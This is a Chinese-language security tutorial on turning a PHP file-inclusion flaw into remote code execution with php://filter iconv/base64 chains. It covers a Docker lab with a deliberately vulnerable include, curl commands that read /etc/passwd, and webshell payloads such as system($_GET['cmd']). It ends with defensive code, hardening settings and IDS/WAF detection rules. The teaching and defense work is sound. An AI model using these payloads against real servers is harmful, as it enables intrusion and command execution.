0 引言

通过精心构造 php://filter 链,在不写入任何文件的前提下,将一个普通的本地文件包含(LFI)漏洞直接升级为远程代码执行(RCE)。该技术的核心在于利用 PHP 流过滤器中的字符编码转换(convert.iconv)配合 Base64 编解码,从一个空资源或已知文件逐步"生成"任意字节序列,最终拼接出完整的 PHP 代码并通过 include 执行。

免责声明:本文内容仅用于合法的安全研究、渗透测试学习及 CTF 竞赛。未经授权对他人系统进行测试属于违法行为,读者须自行承担法律责任。

1 相关技术

php://filter 流包装器机制

PHP 的流包装器(Stream Wrapper)为文件操作提供了统一的抽象层。php://filter 是其中一个元包装器(meta-wrapper),允许在读取或写入流数据时应用一个或多个过滤器(filter)进行数据变换。

// 基本语法 
php://filter/read=<filter_list>/resource=<stream>

//读取文件并进行 base64 编码 
include("php://filter/read=convert.base64-encode/resource=/etc/passwd"); 

// 多重过滤器通过 | 管道符连接 
include("php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-decode/resource=data://,test");

过滤器可以链式组合,数据依次通过每个过滤器处理,前一个过滤器的输出作为后一个过滤器的输入。这种管道机制是构建 Filter Chain 攻击的基础。

核心过滤器类型

过滤器

功能

在攻击中的作用

convert.base64-encode

Base64 编码

将二进制数据转为可控 ASCII 字符集

convert.base64-decode

Base64 解码

清除非 Base64 字符,实现字符"筛选"

convert.iconv.X.Y

字符编码转换

引入特定前缀字节,是生成任意字符的关键

convert.quoted-printable-encode

QP 编码

将不可打印字符转为 =XX 格式

string.rot13

ROT13 变换

辅助字符变换

convert.iconv 与字符编码转换

convert.iconv.<input_encoding>.<output_encoding> 调用系统的 iconv 库进行字符集转换。不同编码之间的转换会引入特定的 BOM(字节顺序标记)或转义序列,这正是攻击的切入点。

当使用 convert.iconv.UTF-8.CSISO2022KR 处理任意输入时,输出会被自动添加 ISO-2022-KR 的指示序列 \x1b$)C(即 ESC $ ) C)。这个行为是确定性的且不依赖输入内容,意味着可以从"无"中生成已知字节。

​

空输入经过 CSISO2022KR 编码后产生固定前缀

filter 中编码名支持 UTF8 和 UTF-8 两种写法

用 xxd 展示更直观的十六进制视图

这4个字节就是 ISO-2022-KR 的"指示序列"(designator) # \x1b = ESC (转义符), $)C = ISO-2022-KR 标识。

是构造 PHP Filter 绕过与 RCE 链子的关键前置特征字节。

攻击原理

整个攻击的逻辑可以概括为:

2 漏洞原理

从零生成任意字节的数学逻辑

如何从一个空字符串(或已知内容的文件)出发,通过纯粹的编码转换操作,生成任意目标字符串?

  1. 阶段一:字节注入

利用 convert.iconv.UTF-8.CSISO2022KR 向数据流注入已知字节 \x1b$)C。每次调用都会在当前数据的开头追加这 4 个字节。通过其他编码转换(如 UTF-16、UTF-32、UCS-4 等),可以注入不同的 BOM 和转义字节。

  1. 阶段二:字节筛选与变换

convert.base64-decode 的一个重要特性:它会静默忽略所有非 Base64 字母表中的字符(即不属于 A-Za-z0-9+/= 的字符)。这意味着可以先通过 iconv 引入包含目标字符的混合字节流,再通过 base64-decode 滤除"噪声"字节,只保留有效的 Base64 字符。

  1. 阶段三:累积拼接

重复执行"注入→筛选"循环,每次向结果字符串的特定位置追加新的字符片段,最终拼接出完整的 Base64 编码的 PHP payload,再通过最后一次 convert.base64-decode 还原为原始 PHP 代码。

具体编码对利用

通过穷举 iconv 支持的编码对组合,发现了多组可产生有用字节的转换:

编码转换对

产生的前缀字节

Base64 有效字符

UTF-8 → CSISO2022KR

\x1b$)C

C

UTF-8 → UTF-7

+ (特定输入)

+

8859_1 → UCS-4

4字节宽字符

取决于输入

UTF-8 → UTF-16

\xff\xfe (BOM)

/

UTF-8 → UTF-32

\xff\xfe\x00\x00

/

单字符生成的完整链路

以生成字符 "C" 为例,展示一条完整的 filter 链路:

3 环境搭建

创建漏洞靶机

# 1. 创建实验目录
mkdir -p ~/lab/php-filter-chain && cd ~/lab/php-filter-chain

# 2. 创建带 LFI 漏洞的 PHP 文件
cat > vuln.php << 'EOF'
<?php
// 存在文件包含漏洞
$page = $_GET['page'] ?? 'default';
include($page);
?>
EOF

# 3. 创建 Dockerfile
cat > Dockerfile << 'EOF'
FROM php:8.1-apache
COPY vuln.php /var/www/html/index.php
RUN echo "allow_url_include = Off" >> /usr/local/etc/php/php.ini
EXPOSE 80
EOF

# 4. 构建镜像并启动容器
docker build -t php-filter-lab .
docker run -d --name filter-lab -p 8888:80 php-filter-lab

启动靶机

验证环境就绪

正常的文件包含(base64 读取 /etc/passwd)

curl "http://localhost:8888/?page=php://filter/convert.base64-encode/resource=/etc/passwd"

验证 php://filter 可正常链式使用

curl "http://localhost:8888/?page=php://filter/convert.base64-encode|convert.base64-decode/resource=/etc/passwd"

获取利用工具(见附件)

php_filter_chain_generator

php_filter_chain_generator 是 PHP 过滤器链无文件包含漏洞利用工具,专门用来自动生成可在目标服务器上执行任意代码的恶意 php://filter 长链 Payload。

4 漏洞利用

通过 Filter Chain 生成已知字符串

不依赖任何文件内容,纯粹通过 filter 链"无中生有"地产生目标字符串。

使用工具生成一段简单文本 "HELLO" 的 filter chain

python3 php_filter_chain_generator.py --chain "HELLO"

此时 resource=php://temp 是一个空的临时流。所有输出内容都是由 filter 链"凭空"生成的,不来自任何文件。

直接通过 PHP CLI 测试

脚本的 Payload 始终在最后一行输出,所以可以用 tail -n 1 过滤;不过滤的话, PHP 看到这一大段带日志的垃圾内容,根本不认识,会直接报错。

CHAIN=$(python3 php_filter_chain_generator.py --chain "HELLO" | tail -n 1)
php -r "echo file_get_contents('$CHAIN');"

为了搞清楚每一步发生了什么,这里展示如何用 PHP CLI 观察 filter chain 的中间处理结果:

这三行输出清晰展示了 filter chain 的"种子生成"过程 # \x1b$)C → base64编码 → UTF-7转换(消除=号,因为=不是有效base64字符)

UTF-7 转换的关键作用是将 Base64 填充符 = 转换为 UTF-7 编码格式 +AD0-。这是因为后续的 base64-decode 步骤会将 = 视为填充结束符导致截断,而转换为 UTF-7 后,原来的 = 变为非 Base64 字符会被静默丢弃,从而安全地消除了填充符的干扰。

构造 Webshell

生成执行系统命令的 webshell payload;将其 URL 编码后作为 page 参数传入

完整 RCE 利用

生成“反弹 Shell 用的内存马”

PAYLOAD_WEBSHELL=$(python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>' | tail -n 1)

发送请求

curl -s -G "http://localhost:8888/" --data-urlencode "page=${FILTER_CHAIN}" --data-urlencode "cmd=id"

也可以执行更多指令

反弹 Shell

我们需要让 Filter Chain 还原出的代码是 <?php eval($_POST['cmd']); ?>。

打开新终端启动监听

发送反弹 Shell 请求

成功反弹 shell

Payload 结构

1. 核心构造逻辑:字节炼金术 PHP Filter Chain 的本质并非简单的字符拼接,而是一场在内存中进行的“字节炼金术”。由于目标环境是空的临时流(php://temp),攻击者利用 convert.iconv 过滤器在不同编码转换时产生的确定性前缀(如 CSISO2022KR 注入的 \x1b$)C)作为“种子”,实现了从无到有的字节注入。

2. 迭代机制:封装、注入与筛选 Payload 的主体结构由多个重复的迭代单元构成,每个单元负责在内存中精准“捏造”出一个 Base64 字符。其内部运行细节如下:

  • 封装(Wrapping): 首先通过 base64-encode 将已有的数据转换为 Base64 形式。这一步至关重要,它相当于给已有的数据穿上了一层“防护服”,确保后续的编码转换不会破坏已经构造好的字符。
  • 注入(Injection): 接着利用一串精心设计的 convert.iconv 编码转换链。这串转换链利用了 iconv 库在处理特定编码对时的溢出或 BOM 特性,在流的最前端引入包含目标字符的杂乱字节。
  • 筛选(Filtering): 最后通过 base64-decode 进行“提纯”。利用 Base64 解码器会静默丢弃所有非字母表字符(如转义符、特殊符号等)的特性,像筛沙子一样滤掉杂质,仅在内存中留下那个精准预设的 Base64 字符。

5 理解 Filter Chain 构造过程

1. 种子注入阶段 (Seed Injection)

利用 convert.iconv.UTF8.CSISO2022KR 在空流中引入初始字节。

  • Step 1: 输出 1b242943。0x43 对应字符 C,这是后续所有变换的原始字节来源;
  • Step 2: 输出 GyQpQw==。将注入的字节规范化为 Base64 格式;
  • Step 3: 输出 GyQpQw+AD0APQ-。利用 UTF-7 转换将填充符 = 变形,防止在后续解码时产生截断。

2. 字符提纯与叠加逻辑 (Purification & Iteration)

利用 base64-decode 丢弃非法字符的特性,从混合流中提取目标字符并进行堆叠。

docker exec filter-lab php -r "
\$chain = 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode/resource=php://temp';
\$res = file_get_contents(\$chain);
echo 'Double Char (Hex): ' . bin2hex(\$res) . PHP_EOL;
echo 'Double Char (Str): ' . \$res . PHP_EOL;
"

这里出现一点小瑕疵:在尝试手动拼接双字符链时,直接将两个单字符链拼接并未得到预期结果(输出了 086c90a50c3e003d00)。

原因分析:

  • 残留的 iconv 序列: 0x1b, 0x24, 0x29 等控制字符并没有被完全滤除。
  • 位偏移问题: 虽然包含了 convert.base64-decode,但它在处理 php://temp 生成的初始字节时,由于没有经过工具内部复杂的“位移补齐(Padding)”计算,导致解码器将注入的控制字符和目标字符混在一起进行了错误的位运算。

换句话说:

当我们注入第一个 C 时,内存中的有效 Base64 字符是 C。 当我们再次 base64-encode 时,C 变成了 Qw==。 当我们第二次注入 C 并解码时,实际上是在解码 CQw=。 由于 Base64 是 3个字节转4个字符(6位一组),强行在前面插入一个字符,会打乱后续所有字符的位对齐,导致解码出来的根本不是原来的数据。

但是我们仍然可以证明 filter chain 能成功生成字符:

python3 php_filter_chain_generator.py --chain "HELLO" --rawbase64 True

为了绕过 include 过程中的乱码干扰,使用 --rawbase64 参数生成 Payload 的中间态(Base64 编码形式)

这确凿地证明了 Filter Chain 已经在内存中精确地构造出了目标字符串。之前看到的乱码仅是由于最后一步解码时,残留的 iconv 种子字节(如 \x1b)与目标数据位宽不对齐导致的“视觉噪声”,并不影响 Payload 的核心逻辑。

Payload 的正确性不取决于它“看起来”是不是明文,而取决于它在内存中是否包含完整的 <?php ... ?> 结构。

6 防御和检测

我们首先要明确哪些写法是“死路一条”。

/**
 * 危险写法:绝对禁止
 * 这种写法将系统控制权直接交给了 php://filter 炼金术
 */
include($_GET['page']); 

/**
 * 伪防御:路径穿越过滤
 * 启发:Filter Chain 攻击利用的是协议包装器而非路径偏移,
 * 这种过滤在内存级攻击面前毫无作用。
 */
$page = str_replace('../', '', $_GET['page']); 
include($page); 

最佳实践:构建逻辑闭环

静态白名单

适用场景:页面路由固定。

// 定义合法的页面集合
$allowed_pages = ['home', 'about', 'contact', 'faq'];
$page = $_GET['page'] ?? 'home';

// 严格的类型与存在性校验
if (in_array($page, $allowed_pages, true)) {
    include "pages/{$page}.php";
} else {
    include 'pages/404.php';
}

协议阻断 + 物理路径锚定

适用场景:需要动态加载文件,但必须将权限锁死在特定目录内。

$page = $_GET['page'] ?? 'home';

/**
 * 第一步:斩断协议链
 * 拦截所有符合 RFC 标准的协议头 (如 php://, data://),彻底封死 Filter Chain 路径
 */
if (preg_match('/^[a-z0-9+.-]+:\/\//i', $page) || strpos($page, '://') !== false) {
    header('HTTP/1.1 403 Forbidden');
    die('Security Violation: Protocol wrappers are prohibited.');
}

/**
 * 第二步:路径沙箱化
 * 利用 realpath 强制校验物理路径,确保包含操作不会越过 pages 目录
 */
$base_dir = realpath(__DIR__ . '/pages/');
$target_path = realpath($base_dir . '/' . $page . '.php');

if ($target_path && strpos($target_path, $base_dir) === 0 && file_exists($target_path)) {
    include $target_path;
} else {
    include 'pages/404.php';
}

环境加固建议

除了代码逻辑,底层的 php://filter 虽难以禁用,但我们可以通过配置缩小其破坏范围:

配置项

建议值

防御作用

open_basedir

/var/www/html/

限制文件访问范围,防止 RCE 后读取敏感系统文件。

allow_url_include

Off

默认关闭,阻断远程文件包含(RFI)的最直接手段。

disable_functions

system, exec...

即使被 RCE,也能极大限制攻击者执行系统命令的能力。

检测策略

网络层检测 (IDS/IPS)

适用于 Suricata 或 Snort 等入侵检测系统,在流量进入服务器前进行识别。

# Suricata / Snort 规则
# 监控所有 HTTP 流量中同时包含协议头、转换过滤器和 Base64 过滤器的异常行为
alert http any any -> any any ( \
    msg:"Exploit: PHP Filter Chain RCE Attempt"; \
    flow:established,to_server; \
    content:"php://filter"; nocase; \
    content:"convert.iconv"; nocase; \
    content:"convert.base64"; nocase; \
    reference:url,github.com/synacktiv/php_filter_chain_generator; \
    classtype:web-application-attack; \
    sid:1000001; rev:1; \
 )

应用层防火墙 (WAF)

适用于 ModSecurity 等 WAF,能够深入解析请求参数并执行阻断。

# ModSecurity 规则 (OWASP CRS 风格)
# 针对请求参数进行正则匹配,识别链式过滤器特征
SecRule ARGS "@rx php://filter.*convert\.iconv.*convert\.base64" \
    "id:100001, \
    phase:2, \
    deny, \
    status:403, \
    log, \
    msg:'Potential PHP Filter Chain Attack Detected', \
    tag:'WEB_ATTACK/RCE', \
    severity:'CRITICAL'"

Web 服务器原生拦截 (Web Server Level)

在 Nginx 或 Apache 层面直接配置拦截,是性能损耗最低的“第一道防线”。

Nginx 配置

在 server 或 location 块中添加:

# 拦截查询字符串中的恶意过滤器链
if ($query_string ~* "php://filter.*convert\.(iconv|base64)") {
    return 403;
}
Apache 配置 (.htaccess)

利用 mod_rewrite 模块进行重写阻断:

# 开启重写引擎并匹配恶意查询字符串
RewriteEngine On
RewriteCond %{QUERY_STRING} php://filter.*convert\.(iconv|base64) [NC]
RewriteRule .* - [F,L]

7 总结

  1. 确定性的混沌: 我们利用了 iconv 转换中那些极其冷门、却又百分之百确定的“转换副作用”。在攻击者眼中,这些原本为了兼容性设计的复杂编码对,不再是障碍,而是一组精准的“字节发生器”。这种将底层设计的确定性转化为攻击载荷的思维,是安全研究的高阶境界。
  2. 容错性的反噬: base64-decode 对非 Base64 字符的“温柔包容”,本意是增强系统的健壮性,但在 Filter Chain 中,它却成了最完美的“噪声过滤器”。它允许我们在内存中肆意揉捏数据,而只留下我们想要的“纯净”指令。这提醒我们:系统的容错能力,往往就是攻击者的生存空间。
  3. 无文件利用的本质: 这不仅仅是绕过了磁盘监控,更是一场“内存中的降维打击”。当我们将 include 变成了一个通向 PHP 内部流处理引擎的任意门时,传统的防御边界(如文件权限、URL 包含限制)就全部坍缩了。

8 延伸方向

看到几个不错的课题,我觉得很有意思,分享一下:

  • Filter chain 与 phar:// 反序列化的组合利用
  • 利用 filter chain 进行 SSRF
  • 基于机器学习的 filter chain 攻击流量检测

​

五一快乐!

​